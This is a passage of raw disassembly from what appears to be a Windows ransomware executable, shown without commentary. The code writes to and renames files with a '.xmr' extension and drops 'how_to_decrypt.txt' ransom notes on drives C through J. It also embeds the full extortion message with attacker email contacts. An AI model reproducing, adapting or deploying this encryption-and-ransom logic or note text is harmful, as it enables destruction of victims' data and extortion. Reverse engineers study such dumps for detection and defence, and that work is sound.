je 0x14000e08f
lea rcx, [rbp + 0x7a0]
mov rax, qword [rbp + 0x7a0]
call qword [rax + 0x18]
mov qword [rbp + 0x7b8], r13
mov qword [rbp + 0x7c8], r13
mov qword [rbp + 0x7c0], r13
mov qword [rbp + 0x7a0], r12
mov qword [rbp + 0x118], rbx
mov rdx, qword [rbp + 0x130]
test rdx, rdx
je 0x14000e0cf
lea rcx, [rbp + 0x118]
mov rax, qword [rbp + 0x118]
call qword [rax + 0x18]
mov qword [rbp + 0x130], r13
mov qword [rbp + 0x140], r13
mov qword [rbp + 0x138], r13
mov qword [rbp + 0x118], r12
xor edx, edx
mov rcx, rdi
call fcn.1400070b0
mov edx, esi
lea rcx, [rbp + 0xd58]
call fcn.140011940
nop
lea r8, str.00000000
mov rdx, rax
lea rcx, [rbp + 0xa98]
call fcn.1400205d0
nop
mov rcx, qword [rax + 0x18]
test rcx, rcx
jne 0x14000e135
cmp qword [rax + 0x48], rcx
lea rcx, [0x140047278]
je 0x14000e135
mov rcx, qword [rax + 0x38]
call fcn.14001f2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400070b0
nop
lea rcx, [rbp + 0xa98]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xd58]
call fcn.1400044d0
mov rdx, qword [rbp + 0xf8]
mov rax, qword [rbp + 0x108]
test rax, rax
cmove rdx, r13
mov dword [rbp - 0x40], r13d
mov qword [rsp + 0x20], r13
lea r9, [rbp - 0x40]
mov r8d, eax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
inc rsi
cmp rsi, r14
jl 0x14000ddf6
mov rsi, r13
lea r12, vtable.CWString.0
mov r15d, 0x7d0
nop dword [rax]
mov qword [rbp + 0x158], r13
xor r9d, r9d
lea r8, [rbp + 0x15c]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rbp + 0x158], eax
cmp eax, 0xffffffff
jne 0x14000e1dd
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, [rbp + 0x1d8]
call fcn.140004650
nop
mov qword [rbp + 0x1d8], r12
mov edx, esi
lea rcx, [rbp + 0x1d8]
call fcn.14001f750
nop
lea r8, str.00000000
lea rdx, [rbp + 0x1d8]
lea rcx, [rbp + 0xd00]
call fcn.1400205d0
nop
mov rcx, rax
call fcn.14001f550
mov rcx, rax
call fcn.14001f2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400070b0
nop
lea rcx, [rbp + 0xd00]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x1d8]
call fcn.1400044d0
mov r8d, r15d
mov rdx, rdi
lea rcx, [rbp + 0x9a8]
call fcn.140006e70
nop
mov rdx, rax
lea rcx, [rbp + 0x360]
call fcn.140007700
nop
lea rcx, [rbp + 0x9a8]
call fcn.1400050f0
lea rcx, [rbp + 0x5d0]
call fcn.14001db60
mov rbx, rax
lea rdx, [rbp + 0x870]
lea rcx, [rbp + 0x970]
call fcn.14001dba0
nop
or qword [rbx + 8], 1
mov r9, rbx
mov r8, rax
lea rdx, [rbp + 0x360]
lea rcx, [rbp + 0x1a0]
call fcn.140006460
nop
mov rdx, rax
lea rcx, [rbp + 0x2d0]
call fcn.140007700
nop
lea rcx, [rbp + 0x1a0]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x970]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x5d0]
call fcn.1400050f0
lea rdx, [rbp + 0x608]
lea rcx, [rbp + 0x2d0]
call fcn.1400117e0
nop
mov rdx, rax
lea rcx, [rbp + 0xe0]
call fcn.140007700
nop
lea rcx, [rbp + 0x608]
call fcn.1400050f0
xor edx, edx
mov rcx, rdi
call fcn.1400070b0
mov edx, esi
lea rcx, [rbp + 0xc50]
call fcn.140011940
nop
lea r8, str.00000000
mov rdx, rax
lea rcx, [rbp + 0xca8]
call fcn.1400205d0
nop
mov rcx, rax
call fcn.14001f550
mov rcx, rax
call fcn.14001f2c0
mov rdx, rax
mov rcx, rdi
call fcn.1400070b0
nop
lea rcx, [rbp + 0xca8]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xc50]
call fcn.1400044d0
lea rdx, [rbp + 0xe0]
mov rcx, rdi
call fcn.140006e30
inc rsi
cmp rsi, r14
jl 0x14000e1b0
mov r15, qword [rbp + 0x150]
mov r12, qword [rbp + 0x290]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xb48]
call fcn.1400077a0
nop
lea r8, str.how_to_decrypt.txt
mov rdx, rax
lea rcx, [rbp + 0xba0]
call fcn.1400205d0
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x640]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x640]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xba0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0xb48]
call fcn.1400044d0
lea r8, str..xmr
lea rdx, [rbp + 0x230]
lea rcx, [rbp + 0xaf0]
call fcn.1400205d0
mov rbx, rax
lea rdx, [rbp + 0x740]
lea rcx, [rbp + 0x168]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x168]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xaf0]
call fcn.1400044d0
mov r14d, dword [rbp + 0x160]
inc r14d
mov dword [rbp + 0x160], r14d
lea r13, vtable.CVolMem.0
lea rsi, vtable.CVolCommonBaseWithMemManager.0
inc r15
mov qword [rbp + 0x150], r15
cmp r15, r12
jge 0x14000e4d7
mov rdx, qword [rbp + 0x5b8]
xor edi, edi
jmp 0x14000d9c0
lea rdx, str.C:how_to_decrypt.txt
lea rcx, [rbp + 0xa98]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xa98]
call fcn.140007df0
lea rdx, str.D:how_to_decrypt.txt
lea rcx, [rbp + 0xd58]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xd58]
call fcn.140007df0
lea rdx, str.E:how_to_decrypt.txt
lea rcx, [rbp + 0xd00]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xd00]
call fcn.140007df0
lea rdx, str.F:how_to_decrypt.txt
lea rcx, [rbp + 0xca8]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xca8]
call fcn.140007df0
lea rdx, str.J:how_to_decrypt.txt
lea rcx, [rbp + 0xc50]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x6e0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xc50]
call fcn.140007df0
lea rdx, str.C:_.txt
lea rcx, [rbp + 0x9e0]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x9e0]
call fcn.140007df0
lea rdx, str.D:_.txt
lea rcx, [rbp + 0xa40]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xa40]
call fcn.140007df0
lea rdx, str.E:_.txt
lea rcx, [rbp + 0xba0]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xba0]
call fcn.140007df0
lea rdx, str.F:_.txt
lea rcx, [rbp + 0xb48]
call fcn.140008250
mov rbx, rax
lea rdx, [rbp + 0x8d0]
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xb48]
call fcn.140007df0
lea rdx, [0x140049600]
lea rcx, [rbp + 0xaf0]
call fcn.140008250
nop
mov rcx, rax
call fcn.14001f550
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.14001e680
nop
lea rcx, [rbp + 0xaf0]
call fcn.140007df0
lea rdx, [0x140049618]
lea rcx, [rbp + 0xbf8]
call fcn.140008250
nop
mov rcx, rax
call fcn.14001f550
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.14001e680
nop
lea rcx, [rbp + 0xbf8]
call fcn.140007df0
lea rdx, [0x140049630]
lea rcx, [rbp + 0xe08]
call fcn.140008250
nop
mov rcx, rax
call fcn.14001f550
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.14001e680
nop
lea rcx, [rbp + 0xe08]
call fcn.140007df0
lea rdx, [0x140049648]
lea rcx, [rbp + 0xdb0]
call fcn.140008250
nop
mov rcx, rax
call fcn.14001f550
mov rdx, rax
lea rcx, [rbp + 0x298]
call fcn.14001e680
nop
lea rcx, [rbp + 0xdb0]
call fcn.140007df0
lea rdx, str.C:UsersPublicjg.txt
lea rcx, [rbp + 0x88]
call fcn.140008250
mov rbx, rax
mov edx, r14d
lea rcx, [rbp + 0xa98]
call fcn.140011940
nop
mov rdx, rax
lea rcx, [rbp + 0x308]
call fcn.14001dba0
mov r8, rax
mov rcx, rbx
call fcn.14001f550
mov rdx, rax
mov rcx, r8
call fcn.14001e680
nop
lea rcx, [rbp + 0x308]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xa98]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x88]
call fcn.140007df0
nop
lea rcx, [rbp + 0x298]
call fcn.1400050f0
nop
lea rcx, [rbp + 0xe0]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x8d0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x6e0]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x2d0]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x360]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x4a0]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x740]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x398]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x4d8]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x3d8]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x468]
call fcn.1400050f0
nop
lea rcx, [rbp + 0x510]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x870]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x230]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x680]
call fcn.1400044d0
nop
lea rcx, [rbp + 0x810]
call fcn.140009b70
nop
lea rcx, [rbp + 0x570]
call fcn.140009b70
mov eax, 1
mov rcx, qword [rbp + 0xee0]
xor rcx, rsp
call fcn.140021650
lea r11, [rsp + 0xff0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rdx, [rbx + 0x34a]
call fcn.14001e380
lea rdx, [rax + rbx]
lea r8, [0x140048e80]
mov eax, 6
jmp 0x14000b3c0
lea rcx, [0x14003d8a0]
call fcn.140021b6c
nop
lea rcx, [0x14005bee8]
call fcn.140021798
jmp 0x14000af0e
movups xmm0, xmmword [r8]
movups xmmword [rdx], xmm0
movups xmm1, xmmword [r8 + 0x10]
movups xmmword [rdx + 0x10], xmm1
movups xmm0, xmmword [r8 + 0x20]
movups xmmword [rdx + 0x20], xmm0
movups xmm1, xmmword [r8 + 0x30]
movups xmmword [rdx + 0x30], xmm1
mov rax, qword [r8 + 0x40]
mov qword [rdx + 0x40], rax
movzx eax, word [r8 + 0x48]
mov word [rdx + 0x48], ax
lea rcx, [0x14003d830]
call fcn.140021b6c
nop
lea rcx, [0x14005bf48]
call fcn.140021798
jmp 0x14000af1c
lea rcx, [0x14005be20]
call fcn.1400217f8
cmp dword [0x14005be20], 0xffffffff
jne 0x14000aef2
mov qword [0x14005be30], rsi
mov qword [0x14005be30], r12
mov qword [0x14005be38], r15
mov qword [0x14005be40], r15
mov qword [0x14005be30], rbx
lea rcx, [0x14005be50]
mov qword [rsp + 0x60], rcx
mov qword [0x14005be50], rsi
mov qword [0x14005be50], r12
mov qword [0x14005be58], r15
mov qword [0x14005be60], r15
mov qword [0x14005be50], r13
mov qword [0x14005be68], r15
mov qword [0x14005be78], r15
mov qword [0x14005be70], r15
mov qword [0x14005be80], 0x40
mov qword [0x14005be48], r15
mov qword [0x14005be80], 0xfe
mov qword [0x14005be30], rbx
mov rbx, qword [0x14005be78]
cmp rbx, 2
jb 0x14000ebc4
mov rax, qword [0x14005be68]
cmp word [rax + rbx - 2], 0
jne 0x14000ebc4
sub rbx, 2
mov qword [0x14005be78], rbx
lea rdx, [rbx + 0xa36]
call fcn.14001e380
lea rcx, [rax + rbx]
lea rdx, str.ALL_YOUR_DATA_WAS_ENCRYPTED_r_nWhats_Happen__r_nYour_files_are_encrypted__and_currently_unavailable._You_can_check_it:__r_nBy_the_way__everything_is_possible_to_restore__but_you_need_to_follow_our_instructions._Otherwise__you_cant_return_your_data._r_nWhat_guarantees__r_nIts_just_a_business._We_absolutely_do_not_care_about_you_and_your_deals__except_getting_benefits._r_nIf_we_do_not_do_our_work_and_liabilities___nobody_will_not_cooperate_with_us._r_nIts_not_in_our_interests._r_nIf_you_will_not_cooperate_with_our_service___for_us__its_does_not_matter._But_you_will_lose_your_time_and_data__cause_just_we_have_the_private_key._r_nIn_practise___time_is_much_more_valuable_than_money._r_nWhat_should_You_include_in_your_message__r_n1._Your_country_and_city_r_n2._This_TXT_file_r_n3._Some_files_for_free_decryption_r_nFree_decryption_as_guarantee__r_nBefore_paying_you_send_us_up_to_1_files_for_free_decryption_Less_than_10M._r_nSend_pictures__text_files.__r_nTo_get_this_software_you_need_write_on_our_e_mail:_r_nxmrdata_tutamail.com_r_n_r_nReserve_e_mail_address_to_contact_us:_r_n_r_nxmrdata_onionmail.org_r_n_r_n_r_nRussian_Federation_users_please_do_not_use_mail.ru_to_send_me_emails__because_I_cannot_receive_emails_from_mail.ru._You_can_register_tutanota.com_email_or_protonmail.com_to_contact_me__or_other_email_addresses____r_n_r_nYour_personal_ID:
mov r8d, 0xa36
call fcn.1400271a0
nop
lea rcx, [0x14003d980]
call fcn.140021b6c
nop
lea rcx, [0x14005be20]
call fcn.140021798
lea rbx, vtable.CWString.0
jmp 0x14000aef2
lea rcx, [0x14005be88]
call fcn.1400217f8
cmp dword [0x14005be88], 0xffffffff
jne 0x14000af00
mov qword [0x14005be90], rsi
mov qword [0x14005be90], r12
mov qword [0x14005be98], r15
mov qword [0x14005bea0], r15
mov qword [0x14005be90], rbx
lea rcx, [0x14005beb0]
mov qword [rsp + 0x60], rcx
mov qword [0x14005beb0], rsi
mov qword [0x14005beb0], r12
mov qword [0x14005beb8], r15
mov qword [0x14005bec0], r15
mov qword [0x14005beb0], r13
mov qword [0x14005bec8], r15
mov qword [0x14005bed8], r15
mov qword [0x14005bed0], r15
mov qword [0x14005bee0], 0x40
mov qword [0x14005bea8], r15
mov qword [0x14005bee0], 0xfe
mov qword [0x14005be90], rbx
mov rbx, qword [0x14005bed8]
cmp rbx, 2
jb 0x14000ecd7
mov rax, qword [0x14005bec8]
cmp word [rax + rbx - 2], 0
jne 0x14000ecd7
sub rbx, 2
mov qword [0x14005bed8], rbx
lea rdx, [rbx + 0xc6a]
call fcn.14001e380
lea rcx, [rax + rbx]
lea rdx, [0x140047e90]
mov r8d, 0xc6a
call fcn.1400271a0
nop
lea rcx, [0x14003d910]
call fcn.140021b6c
nop
lea rcx, [0x14005be88]
call fcn.140021798
jmp 0x14000af00
lea rcx, [0x14005bee8]
call fcn.1400217f8
cmp dword [0x14005bee8], 0xffffffff
jne 0x14000af0e
mov qword [0x14005bef0], rsi
mov qword [0x14005bef0], r12
mov qword [0x14005bef8], r15
mov qword [0x14005bf00], r15
lea rax, vtable.CWString.0
mov qword [0x14005bef0], rax
lea rcx, [0x14005bf10]
mov qword [rsp + 0x60], rcx
mov qword [0x14005bf10], rsi
mov qword [0x14005bf10], r12
mov qword [0x14005bf18], r15
mov qword [0x14005bf20], r15
mov qword [0x14005bf10], r13
mov qword [0x14005bf28], r15
mov qword [0x14005bf38], r15
mov qword [0x14005bf30], r15
mov qword [0x14005bf40], 0x40
mov qword [0x14005bf08], r15
mov qword [0x14005bf40], 0xfe
mov qword [0x14005bef0], rax
mov rbx, qword [0x14005bf38]
cmp rbx, 2
jb 0x14000edea
mov rax, qword [0x14005bf28]
cmp word [rax + rbx - 2], 0
jne 0x14000edea
sub rbx, 2
mov qword [0x14005bf38], rbx
lea rdx, [rbx + 0x380]
call fcn.14001e380
lea rdx, [rax + rbx]
lea rax, [0x140048b00]
mov r8d, 7
jmp 0x14000b360
lea rcx, [0x14005bf48]
call fcn.1400217f8
cmp dword [0x14005bf48], 0xffffffff
jne 0x14000af1c
mov qword [0x14005bf50], rsi
mov qword [0x14005bf50], r12
mov qword [0x14005bf58], r15
mov qword [0x14005bf60], r15
lea rax, vtable.CWString.0
mov qword [0x14005bf50], rax
lea rcx, [0x14005bf70]
mov qword [rsp + 0x60], rcx
mov qword [0x14005bf70], rsi
mov qword [0x14005bf70], r12
mov qword [0x14005bf78], r15
mov qword [0x14005bf80], r15
mov qword [0x14005bf70], r13
mov qword [0x14005bf88], r15
mov qword [0x14005bf98], r15
mov qword [0x14005bf90], r15
mov qword [0x14005bfa0], 0x40
mov qword [0x14005bf68], r15
mov qword [0x14005bfa0], 0xfe
mov qword [0x14005bf50], rax
mov rbx, qword [0x14005bf98]
cmp rbx, 2
jb 0x14000ea69
mov rax, qword [0x14005bf88]
cmp word [rax + rbx - 2], 0
jne 0x14000ea69
sub rbx, 2
mov qword [0x14005bf98], rbx
jmp 0x14000ea69